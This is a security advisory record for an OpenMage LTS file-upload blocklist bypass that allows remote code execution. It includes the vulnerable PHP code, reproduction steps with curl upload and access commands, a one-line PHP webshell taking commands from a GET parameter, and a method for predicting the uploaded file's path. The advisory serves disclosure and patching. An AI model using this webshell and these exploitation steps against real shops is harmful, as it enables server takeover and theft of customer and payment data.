GHSA-3j5q-7q7h-2hhv

Suggest an improvement
Source
https://github.com/advisories/GHSA-3j5q-7q7h-2hhv
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-3j5q-7q7h-2hhv/GHSA-3j5q-7q7h-2hhv.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-3j5q-7q7h-2hhv
Aliases
Published
2026-04-21T18:53:13Z
Modified
2026-05-05T16:00:15Z
Severity
  • 8.8 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution
Details

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

  • Project: OpenMage/magento-lts
  • Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
  • Vulnerable Lines: 230-237 (_validateUploadedFile())
  • Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:

<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:

<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"

Result: image

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

Subdirectory — getDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filename — md5(file_get_contents($tmp_name)) is computed over the raw bytes of the uploaded payload (File.php:245):

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

image

Affected Deployments

Configuration Status
Apache + mod_php (with php_flag engine 0) SAFE
Apache + PHP-FPM VULNERABLE
Nginx (reference hardened config) SAFE
Nginx (generic config with .phtml→FPM) VULNERABLE

Impact

  1. Remote Code Execution: Full server compromise through webshell upload
  2. Data Exfiltration: Access to database credentials, customer PII, payment data
  3. Lateral Movement: Pivot to internal infrastructure
  4. Supply Chain: Inject malicious code into served content
Database specific
{
    "cwe_ids":  [
        "CWE-434"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-04-21T18:53:13Z",
    "nvd_published_at":  "2026-04-20T17:16:36Z",
    "severity":  "HIGH"
}
References

Affected packages

Packagist / openmage/magento-lts

Package

Name
openmage/magento-lts
Purl
pkg:composer/openmage/magento-lts

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
20.17.0

Affected versions

1.*
1.9.1.1
1.9.2.0
1.9.2.1
1.9.2.2
1.9.2.3
1.9.2.4
1.9.3.0
1.9.3.1
v19.*
v19.4.0
v19.4.1
v19.4.2
v19.4.3
v19.4.4
v19.4.5
v19.4.6
v19.4.7
v19.4.8
v19.4.9
v19.4.10
v19.4.11
v19.4.12
v19.4.13
v19.4.14
v19.4.15
v19.4.16
v19.4.17
v19.4.18
v19.4.19
v19.4.20
v19.4.21
v19.4.22
v19.4.23
v19.5.0-rc1
v19.5.0-rc2
v19.5.0-rc3
v19.5.0-rc4
v19.5.0-rc5
v19.5.0
v19.5.1
v19.5.2
v19.5.3
v20.*
v20.0.0
v20.0.1
v20.0.2
v20.0.3
v20.0.4
v20.0.5
v20.0.6
v20.0.7
v20.0.8
v20.0.10
v20.0.11
v20.0.12
v20.0.13
v20.0.14
v20.0.15
v20.0.16
v20.0.17
v20.0.18
v20.0.19
v20.0.20
v20.1.0-rc1
v20.1.0-rc2
v20.1.0-rc3
v20.1.0-rc4
v20.1.0-rc5
v20.1.0-rc6
v20.1.0-rc7
v20.1.0
v20.1.1
v20.2.0
v20.3.0
v20.4.0
v20.5.0
v20.6.0
v20.7.0
v20.8.0
v20.9.0
v20.10.0
v20.10.1
v20.10.2
v20.11.0
v20.12.0
v20.12.1
v20.12.2
v20.12.3
v20.13.0
v20.14.0
v20.15.0
v20.16.0

Database specific

last_known_affected_version_range
"<= 20.16.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-3j5q-7q7h-2hhv/GHSA-3j5q-7q7h-2hhv.json"